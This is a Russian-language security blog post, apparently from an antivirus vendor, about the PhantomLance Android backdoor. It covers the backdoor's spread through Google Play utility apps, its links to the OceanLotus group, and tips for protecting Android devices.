    Распространение PhantomLance

    Google Play — основная платформа распространения вредоносного ПО. Он также был найден в сторонних репозиториях, но в большинстве своем они являются лишь зеркалами официального магазина приложений Google.

    Точно можно сказать, что приложения, зараженные одной из версий троянца, начали появляться в магазине летом 2018 года. Обнаружена вредоносная программа, скрывающаяся в утилитах для смены шрифтов, удаления рекламы, очистки системы и так далее.

    В Google Play обнаружено приложение, содержащее бэкдор PhantomLance

    С тех пор все приложения, содержащие PhantomLance, конечно, были удалены из Google Play, но их копии все еще можно найти в зеркалах. По иронии судьбы, некоторые из этих зеркальных репозиториев утверждают, что установочный пакет был загружен непосредственно из Google Play, и поэтому считается, что он определенно не содержит вирусов.

    Как киберпреступникам удалось пронести свою игрушку в официальный магазин Google? Во-первых, для большей аутентичности злоумышленники создали профиль каждого разработчика на GitHub. Эти профили содержали лишь какое-то лицензионное соглашение. Тем не менее наличие профиля на GitHub, по-видимому, придает разработчикам респектабельность.

    Во-вторых, приложения, которые создатели PhantomLance изначально загрузили в магазин, не были вредоносными. Первые версии программ не содержали никаких подозрительных функций, а потому с честью прошли проверку Google Play. Только спустя некоторое время, с обновлениями, приложения приобрели вредоносные функции.

    Цели PhantomLance

    Судя по географии распространения, а также наличию вьетнамских версий вредоносных приложений в интернет-магазинах, мы полагаем, что главными целями создателей PhantomLance были пользователи из Вьетнама.

    Кроме того, наши эксперты выявили ряд признаков, связывающих PhantomLance с группой OceanLotus, ответственной за создание ряда вредоносных программ, в том числе нацеленных на пользователей из Вьетнама.

    Ранее проанализированный набор вредоносных инструментов OceanLotus включает семейство бэкдоров для macOS, семейство бэкдоров для Windows и набор троянцев для Android, активность которых была зафиксирована в 2014–2017 годах. Наши эксперты пришли к выводу, что PhantomLance пришел на смену вышеупомянутым Android-троянцам, начиная с 2016 года9.0003

    PhantomLance связан с другим вредоносным оружием OceanLotus

    Как защититься от PhantomLance

    Один из советов, который мы часто повторяем в сообщениях о вредоносных программах для Android, звучит так: «Устанавливайте приложения только из Google Play». Но PhantomLance еще раз демонстрирует, что вредоносное ПО иногда может обмануть даже интернет-гигантов.

    Google прилагает большие усилия, чтобы поддерживать чистоту своего магазина приложений (иначе мы гораздо чаще сталкивались бы с подозрительным ПО), но возможности компании не безграничны, а злоумышленники изобретательны. Поэтому сам факт нахождения приложения в Google Play не является гарантией его безопасности. Всегда учитывайте другие факторы:

    • Отдавайте предпочтение приложениям от проверенных разработчиков.
    • Обращайте внимание на рейтинги приложений и отзывы пользователей.
    • Внимательно смотрите на разрешения, запрашиваемые приложением, и не стесняйтесь отказываться, если считаете, что оно жадное. Например, погодному приложению, вероятно, не нужен доступ к вашим контактам и сообщениям, а фотофильтру не нужно знать ваше местоположение.
    • Сканируйте приложения, которые вы устанавливаете на свое устройство Android, с помощью надежного решения для обеспечения безопасности.

    Для получения дополнительной технической информации о PhantomLance см. подробный отчет наших экспертов на Securelist.

    Подкаст

    Transatlantic Cable, выпуск 140

    Дэйв и Джефф рассказывают о правительстве Великобритании, рассматривающем возможность использования искусственного интеллекта для шпионажа, продолжающейся борьбе Google с фишингом COVID-19 и других проблемах Zoom.